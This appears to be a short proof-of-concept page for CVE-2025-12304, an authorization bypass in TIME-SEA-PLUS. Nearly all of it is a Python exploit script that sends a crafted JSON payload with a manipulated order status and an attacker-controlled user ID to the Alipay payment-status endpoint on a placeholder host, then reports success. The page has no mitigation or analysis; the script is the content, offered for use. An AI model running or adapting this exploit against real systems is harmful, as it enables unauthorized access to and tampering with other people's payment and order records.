CVE-2025-12304: TIME-SEA-PLUS 订单状态处理器权限绕过漏洞

import requests import json # CVE-2025-12304 PoC - TIME-SEA-PLUS Authorization Bypass # Target: PayController.java alipayIsSucceed function TARGET_HOST = "http://target-time-sea-plus.com" VULN_ENDPOINT = f"{TARGET_HOST}/pay/alipayIsSucceed" def exploit_authorization_bypass(): """ Exploit for CVE-2025-12304: Improper Authorization in Order Status Handler This PoC demonstrates how an attacker can bypass authorization checks to access order status information without proper privileges. """ # Prepare malicious request with manipulated order parameters headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Craft payload to exploit alipayIsSucceed function payload = { 'orderId': '123456789', # Target order ID 'status': 'manipulated', # Manipulated status parameter 'userId': 'attacker_controlled_id' } try: # Send exploit request response = requests.post(VULN_ENDPOINT, json=payload, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Exploit Successful!") print(f"[+] Response: {json.dumps(result, indent=2)}") return True else: print(f"[-] Exploit Failed - Status Code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-12304 PoC - TIME-SEA-PLUS Authorization Bypass") print("=" * 60) exploit_authorization_bypass()